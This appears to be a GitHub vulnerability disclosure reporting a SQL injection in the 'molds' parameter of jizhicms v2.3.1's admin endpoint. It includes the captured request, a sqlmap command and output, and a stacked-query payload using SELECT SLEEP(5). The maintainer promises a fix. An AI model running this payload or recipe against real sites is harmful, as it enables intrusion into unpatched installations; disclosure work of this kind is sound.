

New issue

[Jump to bottom](#)

jizhicms v2.3.1 has a vulnerability, SQL injection #78

🔒 Closed

zhangzhijie98 opened this issue on Jul 19 · 1 comment

zhangzhijie98 commented on Jul 19

version: v2.3.1

Problematic packets:

```
POST /index.php/admins/Fields/get_fields.html HTTP/1.1
Host: 192.168.10.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.10.130/index.php/admins/Comment/editcomment/id/3.html
Content-Length: 24
Cookie: language=en-gb; currency=USD; PHPSESSID=67c4b6e9ea40f3030a8987fcb94be158
Connection: close

molds=comment&tid=0&id=3
```

backstage->Interactive Management - > comment list, and grab a package

The screenshot shows a web application interface for managing comments. The left sidebar contains a menu with '互动管理' (Interactive Management) expanded, showing '评论列表' (Comment List) selected. The main content area displays a table of comments with columns for ID, checkboxes, username, category, article, content, status, time, and actions. The table lists three comments, all marked as '已审' (Reviewed). The '操作' (Action) column for each comment contains '查看' (View) and '删除' (Delete) buttons. Below the table, a network request capture is shown for a POST request to 'http://192.168.10.130:80'. The request details include headers like 'Host', 'User-Agent', 'Accept', 'Accept-Language', 'Accept-Encoding', 'Content-Type', 'X-Requested-With', 'Referer', 'Content-Length', 'Cookie', and 'Connection'. The body of the request is 'molds=comment&tid=0&id=3'.

ID		用户名	所属栏目	所属文章	评论内容	显示	评论时间	操作
3	<input type="checkbox"/>	极致用户	免费模板	查看	很不错哦!	已审	2022-01-26 11:27:09	查看 删除
2	<input type="checkbox"/>	极致用户	站内新闻	查看	@!PHta6 干得漂亮!	已审	2022-01-23 18:02:52	查看 删除
1	<input type="checkbox"/>	极致用户	站内新闻	查看	很不错!	已审	2022-01-23 17:48:14	查看 删除

```
Request to http://192.168.10.130:80
Forward Drop Intercept is on Action Open Browser
Comment this item
Pretty Raw Hex \n
1 POST /index.php/admins/Fields/get_fields.html HTTP/1.1
2 Host: 192.168.10.130
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
4 Accept: */*
5 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Referer: http://192.168.10.130/index.php/admins/Comment/editcomment/id/3.html
10 Content-Length: 24
11 Cookie: language=en-gb; currency=USD; PHPSESSID=67c4b6e9ea40f3030a8987fcb94be158
12 Connection: close
13
14 molds=comment&tid=0&id=3
```

use sqlmap: sqlmap -r test.txt --level 3 --random-agent --batch

```
[22:19:45] [INFO] resuming back-end DBMS - mysql
[22:19:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: molds (POST)
  Type: stacked queries
  Title: MySQL >= 5.0.12 stacked queries (comment)
  Payload: molds=comment;SELECT SLEEP(5)#&tid=0&id=3

[22:19:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 7
web application technology: Apache 2.4.6, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:19:45] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.10.130'
[22:19:45] [WARNING] your sqlmap version is outdated
```

```
Parameter: molds (POST)
  Type: stacked queries
  Title: MySQL >= 5.0.12 stacked queries (comment)
  Payload: molds=comment;SELECT SLEEP(5)#&tid=0&id=3
```

Cherry-toto commented on Jul 19

Owner

感谢您，下个版本修复。



Cherry-toto closed this as completed on Jul 19

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

